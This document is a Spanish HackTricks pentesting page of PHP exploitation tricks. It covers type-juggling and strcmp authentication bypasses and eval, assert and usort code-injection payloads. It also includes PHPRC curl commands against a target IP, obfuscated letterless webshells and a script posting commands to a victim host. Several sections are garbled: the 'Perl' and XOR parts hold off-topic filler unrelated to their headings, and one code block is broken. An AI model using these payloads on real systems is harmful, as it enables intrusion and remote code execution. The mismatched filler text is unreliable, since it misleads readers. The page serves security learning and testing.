hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/README.md

# Trucos de PHP

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

## Ubicación común de las cookies:

Esto también es válido para las cookies de phpMyAdmin.

Cookies:
```
PHPSESSID
phpMyAdmin
```
Ubicaciones:
```
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## Bypassando comparaciones en PHP

### Comparaciones débiles/Type Juggling ( == )

Si se utiliza `==` en PHP, hay casos inesperados donde la comparación no se comporta como se espera. Esto se debe a que "==" solo compara valores transformados al mismo tipo, si también quieres comparar que el tipo de los datos comparados sea el mismo, debes usar `===`.

Tablas de comparación en PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)

![](<../../../.gitbook/assets/image (40) (1).png>)

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

* `"string" == 0 -> True` Una cadena que no comienza con un número es igual a un número
* `"0xAAAA" == "43690" -> True` Cadenas compuestas por números en formato decimal o hexadecimal se pueden comparar con otros números/cadenas con un resultado True si los números son iguales (los números en una cadena se interpretan como números)
* `"0e3264578" == 0 --> True` Una cadena que comienza con "0e" y seguida de cualquier cosa será igual a 0
* `"0X3264578" == 0X --> True` Una cadena que comienza con "0" y seguida de cualquier letra (X puede ser cualquier letra) y seguida de cualquier cosa será igual a 0
* `"0e12334" == "0" --> True` Esto es muy interesante porque en algunos casos puedes controlar la entrada de cadena de "0" y algún contenido que se está hasheando y se compara con él. Por lo tanto, si puedes proporcionar un valor que creará un hash que comienza con "0e" y sin ninguna letra, podrías eludir la comparación. Puedes encontrar **cadenas ya hasheadas** con este formato aquí: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Cualquier letra en una cadena es igual a int 0

Más información en [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)

### **in\_array()**

**Type Juggling** también afecta a la función `in_array()` de forma predeterminada (necesitas establecer en verdadero el tercer argumento para hacer una comparación estricta):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
```
### strcmp()/strcasecmp()

Si esta función se utiliza para **cualquier verificación de autenticación** (como verificar la contraseña) y el usuario controla uno de los lados de la comparación, puede enviar un array vacío en lugar de una cadena como valor de la contraseña (`https://example.com/login.php/?username=admin&password[]=`) y evadir esta verificación:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
El mismo error ocurre con `strcasecmp()`

### Conversión estricta de tipos

Incluso si se utiliza `===`, puede haber errores que hacen que la comparación sea vulnerable a la conversión de tipos. Por ejemplo, si la comparación está convirtiendo los datos a un tipo de objeto diferente antes de comparar:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg\_match(/^.\*/)

**`preg_match()`** se puede utilizar para **validar la entrada del usuario** (verifica si alguna **palabra/regex** de una **lista negra** está **presente** en la **entrada del usuario** y si no lo está, el código puede continuar su ejecución).

#### Bypass de nueva línea

Sin embargo, al delimitar el inicio de la expresión regular, `preg_match()` **solo verifica la primera línea de la entrada del usuario**, por lo que si de alguna manera puedes **enviar** la entrada en **varias líneas**, podrías ser capaz de evadir esta verificación. Ejemplo:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
```
Para evadir esta verificación podrías **enviar el valor con saltos de línea urlencoded** (`%0A`) o si puedes enviar **datos JSON**, envíalos en **varias líneas**:
```php
{
"cmd": "cat /etc/passwd"
}
```
Encuentra un ejemplo aquí: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)

#### **Bypass de error de longitud**

(Este bypass fue probado aparentemente en PHP 5.2.5 y no pude hacerlo funcionar en PHP 7.3.15)\
Si puedes enviar a `preg_match()` una entrada **muy grande y válida**, no podrá **procesarla** y podrás **burlar** la verificación. Por ejemplo, si está en una lista negra un JSON, podrías enviar:
```
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000000 + '"}'
```
### Type Juggling para la ofuscación en PHP

Type juggling es una técnica utilizada en PHP para ofuscar el código y dificultar su comprensión. Esta técnica se basa en la conversión automática de tipos de datos en operaciones aritméticas y de comparación.

En PHP, los tipos de datos se pueden convertir automáticamente según el contexto en el que se utilicen. Esto significa que un valor puede ser interpretado como un tipo de dato diferente dependiendo de cómo se utilice en una operación.

Por ejemplo, consideremos la siguiente expresión:

```php
if ("0e123" == "0e321") {
    echo "Son iguales";
} else {
    echo "No son iguales";
}
```

En este caso, PHP interpretará las cadenas "0e123" y "0e321" como números en notación científica, lo que resultará en una comparación verdadera y se imprimirá "Son iguales".

Este comportamiento puede ser aprovechado por los atacantes para ofuscar el código y evadir ciertas validaciones. Por ejemplo, un atacante podría manipular los parámetros de una solicitud HTTP para engañar a una aplicación y obtener acceso no autorizado.

Es importante tener en cuenta que el type juggling no es una vulnerabilidad en sí misma, sino una técnica que puede ser utilizada para explotar vulnerabilidades existentes en una aplicación.

Para protegerse contra este tipo de ataques, es recomendable utilizar comparaciones estrictas (===) en lugar de comparaciones débiles (==) y validar y sanitizar adecuadamente todas las entradas de usuario.
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
```
## Ejecutar después de la Redirección (EAR)

Si PHP redirige a otra página pero no se llama a la función **`die`** o **`exit`** después de establecer la cabecera `Location`, PHP continúa ejecutándose y agregando los datos al cuerpo:
```php
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## Más trucos

* **register\_globals**: En **PHP < 4.1.1.1** o si está mal configurado, **register\_globals** puede estar activo (o su comportamiento se está imitando). Esto implica que en variables globales como $\_GET si tienen un valor, por ejemplo $\_GET\["param"]="1234", puedes acceder a él a través de **$param**. Por lo tanto, al enviar parámetros HTTP puedes sobrescribir variables que se utilizan en el código.
* Las **cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar**, por lo tanto, si dentro de un dominio se utilizan **cookies diferentes en diferentes rutas**, puedes hacer que una ruta **acceda a la cookie de la otra ruta** estableciendo el valor de la cookie de la otra ruta. De esta manera, si **ambas rutas acceden a una variable con el mismo nombre**, puedes hacer que el **valor de esa variable en la ruta1 se aplique a la ruta2**. Y luego la ruta2 considerará válidas las variables de la ruta1 (dándole a la cookie el nombre que le corresponde en la ruta2).
* Cuando tienes los **nombres de usuario** de los usuarios de la máquina, verifica la dirección: **/\~\<USERNAME>** para ver si los directorios php están activados.
* [**LFI y RCE utilizando envoltorios php**](../../../pentesting-web/file-inclusion/)

### password\_hash/password\_verify

Estas funciones se utilizan típicamente en PHP para **generar hashes a partir de contraseñas** y para **verificar** si una contraseña es correcta en comparación con un hash.\
Los algoritmos admitidos son: `PASSWORD_DEFAULT` y `PASSWORD_BCRYPT` (comienza con `$2y$`). Ten en cuenta que **PASSWORD\_DEFAULT** suele ser lo mismo que PASSWORD\_BCRYPT. Y actualmente, **PASSWORD\_BCRYPT** tiene una **limitación de tamaño en la entrada de 72 bytes**. Por lo tanto, cuando intentas generar un hash de algo más grande que 72 bytes con este algoritmo, solo se utilizarán los primeros 72 bytes:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
```
### Bypass de encabezados HTTP abusando de errores de PHP

Si una **página PHP está imprimiendo errores y devolviendo algún dato proporcionado por el usuario**, el usuario puede hacer que el servidor PHP devuelva algún **contenido lo suficientemente largo** para que, al intentar **agregar los encabezados** a la respuesta, el servidor genere un error.\
En el siguiente escenario, el **atacante hizo que el servidor generara grandes errores**, y como se puede ver en la captura de pantalla, cuando PHP intentó **modificar la información del encabezado, no pudo** (por lo tanto, por ejemplo, el encabezado CSP no se envió al usuario):

![](<../../../.gitbook/assets/image (465).png>)

## Ejecución de código

**system("ls");**\
**\`ls\`;**\
**shell\_exec("ls");**

[Consulta esto para obtener más funciones útiles de PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/)
```php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
Para ejecutar el código en el argumento "replace" se necesita al menos una coincidencia.\
Esta opción de preg_replace ha sido **desaprobada a partir de PHP 5.5.0.**

### **RCE a través de Eval()**
```
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
```
### **RCE a través de Assert()**

Esta función en php te permite **ejecutar código que está escrito en una cadena** para **devolver verdadero o falso** (y dependiendo de esto, alterar la ejecución). Por lo general, la variable del usuario se insertará en medio de una cadena. Por ejemplo:\
`assert("strpos($_GET['page']),'..') === false")` --> En este caso, para obtener **RCE**, podrías hacer:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
Necesitarás **romper** la **sintaxis** del código, **añadir** tu **payload** y luego **arreglarlo de nuevo**. Puedes usar operaciones lógicas como "**and" o "%26%26" o "|"**. Ten en cuenta que "or" y "||" no funcionan porque si la primera condición es verdadera, nuestro payload no se ejecutará. De la misma manera, ";" no funciona ya que nuestro payload no se ejecutará.

**Otra opción** es agregar a la cadena la ejecución del comando: `'.highlight_file('.passwd').'`

**Otra opción** (si tienes el código interno) es modificar alguna variable para alterar la ejecución: `$file = "hola"`

### **RCE a través de usort()**

Esta función se utiliza para ordenar una matriz de elementos utilizando una función específica.\
Para abusar de esta función:
```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
```

```php
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
```
También puedes usar **//** para comentar el resto del código.

Para descubrir el número de paréntesis que necesitas cerrar:

* `?order=id;}//`: obtenemos un mensaje de error (`Error de análisis: error de sintaxis, ';' inesperado`). Probablemente nos falte uno o más corchetes.
* `?order=id);}//`: obtenemos una **advertencia**. Eso parece correcto.
* `?order=id));}//`: obtenemos un mensaje de error (`Error de análisis: error de sintaxis, ')' inesperado`). Probablemente tengamos demasiados corchetes de cierre.

### **RCE a través de .httaccess**

Si puedes **subir** un **.htaccess**, entonces puedes **configurar** varias cosas e incluso ejecutar código (configurando que los archivos con extensión .htaccess se pueden **ejecutar**).

Se pueden encontrar diferentes shells .htaccess [aquí](https://github.com/wireghoul/htshells)

### RCE a través de Variables de Entorno

Si encuentras una vulnerabilidad que te permite **modificar variables de entorno en PHP** (y otra para subir archivos, aunque con más investigación tal vez se pueda eludir), podrías abusar de este comportamiento para obtener **RCE**.

* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Esta variable de entorno te permite cargar bibliotecas arbitrarias al ejecutar otros binarios (aunque en este caso puede que no funcione).
* **`PHPRC`** : Instruye a PHP sobre **dónde ubicar su archivo de configuración**, generalmente llamado `php.ini`. Si puedes subir tu propio archivo de configuración, entonces usa `PHPRC` para indicarle a PHP dónde está. Agrega una entrada **`auto_prepend_file`** especificando un segundo archivo subido. Este segundo archivo contiene código PHP normal, que luego es ejecutado por el tiempo de ejecución de PHP antes que cualquier otro código.
1. Sube un archivo PHP que contenga nuestro código de shell
2. Sube un segundo archivo que contenga una directiva **`auto_prepend_file`** que instruya al preprocesador de PHP a ejecutar el archivo que subimos en el paso 1
3. &#x20;Establece la variable `PHPRC` en el archivo que subimos en el paso 2.
* Obtén más información sobre cómo ejecutar esta cadena [**desde el informe original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* **PHPRC** - otra opción
* Si **no puedes subir archivos**, puedes usar en FreeBSD el "archivo" `/dev/fd/0` que contiene el **`stdin`**, siendo el **cuerpo** de la solicitud enviada al `stdin`:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* O para obtener RCE, habilita **`allow_url_include`** y agrega un archivo con **código PHP en base64**:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
* Técnica [**de este informe**](https://vulncheck.com/blog/juniper-cve-2023-36845).

## Análisis estático de PHP

Verifica si puedes insertar código en llamadas a estas funciones (desde [aquí](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
Si estás depurando una aplicación PHP, puedes habilitar la impresión de errores globalmente en `/etc/php5/apache2/php.ini` agregando `display_errors = On` y reiniciar Apache: `sudo systemctl restart apache2`

### Desofuscando código PHP

Puedes utilizar el **sitio web** [**www.unphp.net**](http://www.unphp.net) **para desofuscar código PHP.**

## Wrappers y protocolos de PHP

Los wrappers y protocolos de PHP podrían permitirte **burlar las protecciones de escritura y lectura** en un sistema y comprometerlo. Para [**más información, consulta esta página**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).

## RCE no autenticado de Xdebug

Si ves que **Xdebug** está **habilitado** en la salida de `phpconfig()`, debes intentar obtener RCE a través de [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)

## Variables variables
```php
$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## RCE abusando de $\_GET\["a"]\($\_GET\["b"])

Si en una página puedes **crear un nuevo objeto de una clase arbitraria**, es posible que puedas obtener RCE, consulta la siguiente página para aprender cómo:

{% content-ref url="php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
{% endcontent-ref %}

## Ejecutar PHP sin letras

[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)

### Usando octal
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
### **XOR**

El operador XOR (Exclusive OR) es una operación lógica que se utiliza en la programación para comparar dos valores booleanos. Devuelve `true` si uno y solo uno de los valores es `true`, y `false` en cualquier otro caso.

En el contexto de la programación web, el operador XOR se puede utilizar para realizar ciertos trucos en PHP. A continuación, se presentan algunos ejemplos de cómo se puede utilizar el operador XOR en PHP:

#### **1. Encriptación simple**

El operador XOR se puede utilizar para realizar una encriptación simple en PHP. Aquí hay un ejemplo de cómo se puede utilizar:

```php
$mensaje = "Hola mundo";
$clave = "secreto";

$mensaje_encriptado = $mensaje ^ $clave;
echo $mensaje_encriptado;
```

En este ejemplo, el operador XOR se utiliza para encriptar el mensaje utilizando una clave secreta. El mensaje encriptado se almacena en la variable `$mensaje_encriptado` y se muestra en la pantalla.

#### **2. Ocultar información sensible**

El operador XOR también se puede utilizar para ocultar información sensible en PHP. Aquí hay un ejemplo de cómo se puede utilizar:

```php
$informacion_sensible = "1234567890";
$clave = "secreto";

$informacion_oculta = $informacion_sensible ^ $clave;
echo $informacion_oculta;
```

En este ejemplo, el operador XOR se utiliza para ocultar la información sensible utilizando una clave secreta. La información oculta se almacena en la variable `$informacion_oculta` y se muestra en la pantalla.

#### **3. Verificación de integridad**

El operador XOR también se puede utilizar para verificar la integridad de los datos en PHP. Aquí hay un ejemplo de cómo se puede utilizar:

```php
$datos_originales = "Lorem ipsum dolor sit amet";
$datos_modificados = "Lorem ipsum dolor sit amet";

$resultado = $datos_originales ^ $datos_modificados;

if ($resultado == 0) {
    echo "Los datos no han sido modificados";
} else {
    echo "Los datos han sido modificados";
}
```

En este ejemplo, el operador XOR se utiliza para comparar los datos originales con los datos modificados. Si el resultado es igual a cero, significa que los datos no han sido modificados. De lo contrario, significa que los datos han sido modificados.

El operador XOR es una herramienta útil en la programación web y puede ser utilizado de diversas formas para realizar trucos y operaciones lógicas en PHP.
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### Código de shell XOR fácil

Según [**este artículo**](https://mgp25.com/ctf/Web-challenge/), es posible generar un código de shell fácil de esta manera:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
Entonces, si puedes **ejecutar PHP arbitrario sin números y letras**, puedes enviar una solicitud como la siguiente abusando de esa carga útil para ejecutar PHP arbitrario:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```
Para obtener una explicación más detallada, consulta [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)

### Código de Shell XOR (dentro de eval)
```bash
#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
```

```php
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```

```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
### Perl como

Perl es un lenguaje de programación versátil y potente que se utiliza ampliamente en el desarrollo web. Aunque PHP es el lenguaje más comúnmente utilizado para el desarrollo web, hay algunas características de Perl que pueden ser útiles para los desarrolladores de PHP. En este documento, exploraremos algunas técnicas de Perl que se pueden aplicar en el desarrollo de PHP.

#### Expresiones regulares

Las expresiones regulares son una característica poderosa de Perl que también está disponible en PHP. Las expresiones regulares permiten buscar y manipular patrones de texto en cadenas. En Perl, las expresiones regulares se delimitan con barras diagonales, como `/patrón/`. En PHP, las expresiones regulares se pueden delimitar con barras diagonales o con comillas, como `'/patrón/'` o `"/patrón/"`. Las expresiones regulares en Perl y PHP son similares en su sintaxis y funcionalidad, lo que facilita la transición entre los dos lenguajes.

#### Variables especiales

Perl tiene varias variables especiales que contienen información útil durante la ejecución del programa. Estas variables incluyen `$_`, que contiene la última cadena procesada por una expresión regular, y `@_`, que contiene los argumentos pasados a una función. En PHP, también hay variables especiales similares disponibles, como `$GLOBALS`, que contiene todas las variables globales, y `$_SERVER`, que contiene información sobre el servidor y el entorno de ejecución. El uso de estas variables especiales puede facilitar el desarrollo y la depuración de aplicaciones PHP.

#### Funciones de manipulación de cadenas

Perl tiene una amplia gama de funciones para manipular cadenas de texto, como `substr`, `index`, `length`, `split`, entre otras. Estas funciones permiten realizar operaciones comunes en cadenas, como extraer una subcadena, buscar la posición de un carácter o dividir una cadena en partes más pequeñas. En PHP, también hay funciones similares disponibles, como `substr`, `strpos`, `strlen`, `explode`, que se pueden utilizar para manipular cadenas de texto de manera eficiente.

#### Módulos CPAN

CPAN (Comprehensive Perl Archive Network) es un repositorio de módulos de Perl que proporciona una amplia gama de funcionalidades adicionales para el desarrollo de aplicaciones. Estos módulos se pueden instalar fácilmente en Perl utilizando el administrador de paquetes `cpan`. Aunque PHP no tiene un equivalente directo de CPAN, hay muchos paquetes y bibliotecas disponibles a través de Composer, el administrador de paquetes de PHP. Al utilizar módulos y paquetes adicionales, los desarrolladores de PHP pueden ampliar la funcionalidad de sus aplicaciones y acelerar el desarrollo.

En resumen, aunque PHP es el lenguaje de programación más comúnmente utilizado para el desarrollo web, hay algunas características de Perl que pueden ser útiles para los desarrolladores de PHP. Las expresiones regulares, las variables especiales, las funciones de manipulación de cadenas y los módulos CPAN son algunas de las características de Perl que se pueden aplicar en el desarrollo de PHP para mejorar la eficiencia y la funcionalidad de las aplicaciones.
```php
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
```
<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>